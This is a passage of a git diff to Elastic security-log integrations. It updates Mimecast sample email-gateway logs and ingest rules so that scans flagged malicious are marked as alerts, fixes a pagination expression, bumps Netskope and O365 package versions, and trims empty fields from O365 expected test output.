"original": "{\"userEmailAddress\":\"jhartso@demo-int.elastic.mime-api.com\",\"fromUserEmailAddress\":\"terrym@concept-variety.b41.one\",\"url\":\"https://oneclient.sfx.ms/Win/Preview/OneDriveSetup.exe\",\"ttpDefinition\":\"Default Inbound URL Protect Definition\",\"subject\":\"WP-02 Data Response\",\"action\":\"warn\",\"adminOverride\":\"N/A\",\"userOverride\":\"None\",\"scanResult\":\"malicious\",\"category\":\"Dangerous file extension\",\"sendingIp\":\"81.2.69.144\",\"userAwarenessAction\":\"N/A\",\"date\":\"2024-11-14T19:44:02+0000\",\"actions\":\"Block\",\"route\":\"inbound\",\"creationMethod\":\"Entry Scan\",\"emailPartsDescription\":[\"Attachment\"],\"messageId\":\"<29b951d7ab596678-115297@hapi.b41.one>\",\"tagMap\":{\"DangerousFileExt\":{\"Status\":[\"CustomerSpecific\",\"VerdictBlock\"],\"Inspect:FileExts\":[\"[exe]\"],\"Inspect:MimeTypes\":[\"[]\"],\"ContentCheck:DangerousMimetypesUrlFileDownload\":[\"application/x-msdownload\"],\"ContentCheck:ContentScannersBlocked\":[\".exe\"],\"ContentCheck:DangerousExtsUrlFileDownload\":[\"dll\"]}}}"
},
"mimecast": {
@@ -481,6 +484,7 @@
"email"
],
"created": "2024-11-13T13:05:03+0000",
+ "kind": "alert",
"original": "{\"userEmailAddress\":\"vince.j.kaminski@demo-int.elastic.mime-api.com\",\"fromUserEmailAddress\":\"gregoryhunt@thejunglegroup.b41.one\",\"url\":\"https://oneclient.sfx.ms/Win/Preview/OneDriveSetup.exe\",\"ttpDefinition\":\"Default Inbound URL Protect Definition\",\"subject\":\"Re\",\"action\":\"warn\",\"adminOverride\":\"N/A\",\"userOverride\":\"None\",\"scanResult\":\"malicious\",\"category\":\"Dangerous file extension\",\"sendingIp\":\"81.2.69.144\",\"userAwarenessAction\":\"N/A\",\"date\":\"2024-11-13T13:05:03+0000\",\"actions\":\"Block\",\"route\":\"inbound\",\"creationMethod\":\"Entry Scan\",\"emailPartsDescription\":[\"Attachment\"],\"messageId\":\"\",\"tagMap\":{\"DangerousFileExt\":{\"Status\":[\"CustomerSpecific\",\"VerdictBlock\"],\"Inspect:FileExts\":[\"[exe]\"],\"Inspect:MimeTypes\":[\"[]\"],\"ContentCheck:DangerousMimetypesUrlFileDownload\":[\"application/x-msdownload\"],\"ContentCheck:DangerousExtsUrlFileDownload\":[\"dll\"],\"ContentCheck:ContentScannersBlocked\":[\".exe\"]}}}"
},
"mimecast": {
@@ -575,6 +579,7 @@
"email"
],
"created": "2024-11-13T13:03:11+0000",
+ "kind": "alert",
"original": "{\"userEmailAddress\":\"mike.a.roberts@demo-int.elastic.mime-api.com\",\"fromUserEmailAddress\":\"gregoryhunt@thejunglegroup.b41.one\",\"url\":\"https://oneclient.sfx.ms/Win/Preview/OneDriveSetup.exe\",\"ttpDefinition\":\"Default Inbound URL Protect Definition\",\"subject\":\"Re\",\"action\":\"warn\",\"adminOverride\":\"N/A\",\"userOverride\":\"None\",\"scanResult\":\"malicious\",\"category\":\"Dangerous file extension\",\"sendingIp\":\"81.2.69.144\",\"userAwarenessAction\":\"N/A\",\"date\":\"2024-11-13T13:03:11+0000\",\"actions\":\"Block\",\"route\":\"inbound\",\"creationMethod\":\"Entry Scan\",\"emailPartsDescription\":[\"Attachment\"],\"messageId\":\"\",\"tagMap\":{\"DangerousFileExt\":{\"Status\":[\"CustomerSpecific\",\"VerdictBlock\"],\"Inspect:FileExts\":[\"[exe]\"],\"Inspect:MimeTypes\":[\"[]\"],\"ContentCheck:DangerousMimetypesUrlFileDownload\":[\"application/x-msdownload\"],\"ContentCheck:DangerousExtsUrlFileDownload\":[\"dll\"],\"ContentCheck:ContentScannersBlocked\":[\".exe\"]}}}"
},
"mimecast": {
@@ -644,4 +649,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/mimecast/data_stream/ttp_url_logs/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/ttp_url_logs/agent/stream/cel.yml.hbs
index 182111d91fa..d421496e3a7 100644
--- a/packages/mimecast/data_stream/ttp_url_logs/agent/stream/cel.yml.hbs
+++ b/packages/mimecast/data_stream/ttp_url_logs/agent/stream/cel.yml.hbs
@@ -90,7 +90,7 @@ program: |
}
}).do_request().as(resp, resp.StatusCode == 200 ?
bytes(resp.Body).decode_json().as(body, body.?fail.orValue([]).size() == 0 ?
- {
+ (has(body.?meta.pagination.next) && size(body.data) != 0).as(want_more, {
"events": body.data.map(e, e[state.data_path].map(l, {"message": l.encode_json()})).flatten(),
"cursor": {
"last": (
@@ -106,19 +106,19 @@ program: |
).format(time_layout.RFC3339)
),
},
- ?"last_page": has(body.?meta.pagination.next) && size(body.data) != 0 ?
- optional.of({
+ "last_page": want_more ?
+ dyn({
?"next": body.?meta.pagination.next,
- "data": req.data,
+ ?"data": req.?data,
})
:
- optional.none(),
+ dyn(null), // required to clear the incoming state
"token": {
"access_token": token.access_token,
"expires": token.expires,
},
- "want_more": has(body.?meta.pagination.next) && size(body.data) != 0,
- }
+ "want_more": want_more,
+ })
:
// Mimecast can return failure states with a 200. This
// is detected by a non-empty fail array at the root
diff --git a/packages/mimecast/data_stream/ttp_url_logs/elasticsearch/ingest_pipeline/default.yml b/packages/mimecast/data_stream/ttp_url_logs/elasticsearch/ingest_pipeline/default.yml
index a210b158a82..de1f6e628af 100644
--- a/packages/mimecast/data_stream/ttp_url_logs/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/mimecast/data_stream/ttp_url_logs/elasticsearch/ingest_pipeline/default.yml
@@ -31,6 +31,10 @@ processors:
- set:
field: event.category
value: [email]
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.scanResult == 'malicious'
###
- rename:
diff --git a/packages/mimecast/manifest.yml b/packages/mimecast/manifest.yml
index e87ef0af111..4f6165dd0e6 100644
--- a/packages/mimecast/manifest.yml
+++ b/packages/mimecast/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: mimecast
title: "Mimecast"
-version: "2.5.2"
+version: "2.6.2"
description: Collect logs from Mimecast with Elastic Agent.
type: integration
categories: ["security", "email_security"]
diff --git a/packages/netskope/changelog.yml b/packages/netskope/changelog.yml
index 07dd3129f7f..0eee4b73484 100644
--- a/packages/netskope/changelog.yml
+++ b/packages/netskope/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.23.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.22.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/netskope/manifest.yml b/packages/netskope/manifest.yml
index 00dacd3f47c..047c5bbd0dc 100644
--- a/packages/netskope/manifest.yml
+++ b/packages/netskope/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.3"
name: netskope
title: "Netskope"
-version: "1.22.1"
+version: "1.23.0"
description: Collect logs from Netskope with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- network
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
screenshots:
- src: /img/netskope-alerts-screenshot.png
title: Netskope Alert logs screenshot
diff --git a/packages/o365/changelog.yml b/packages/o365/changelog.yml
index 05315f40b3a..f83b30a4055 100644
--- a/packages/o365/changelog.yml
+++ b/packages/o365/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.10.0"
+ changes:
+ - description: Extract ECS fields from Data and AttachmentData.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12888
- version: "2.9.0"
changes:
- description: Static fields for use by security rules.
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-events.json-expected.json
index 258816ba7ab..d196b1d1e8a 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-events.json-expected.json
@@ -105,8 +105,7 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -116,7 +115,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512",
@@ -287,8 +285,7 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -298,7 +295,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512",
@@ -469,8 +465,7 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -480,7 +475,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_08d8bb01-c269-4a92-9929-a1a89b729512",
@@ -651,19 +645,13 @@
"version": "2"
},
"ModifiedProperties": {
- "Included_Updated_Properties": {
- "NewValue": "",
- "OldValue": ""
- },
"TargetId_ServicePrincipalNames": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
}
},
"ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23",
@@ -842,19 +830,13 @@
"version": "2"
},
"ModifiedProperties": {
- "Included_Updated_Properties": {
- "NewValue": "",
- "OldValue": ""
- },
"TargetId_ServicePrincipalNames": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
}
},
"ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23",
@@ -1035,30 +1017,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -1239,30 +1215,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -1443,30 +1413,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -1647,30 +1611,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -1851,30 +1809,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -2055,30 +2007,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -2259,30 +2205,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -2463,30 +2403,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -2667,30 +2601,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -2871,30 +2799,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -3075,30 +2997,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
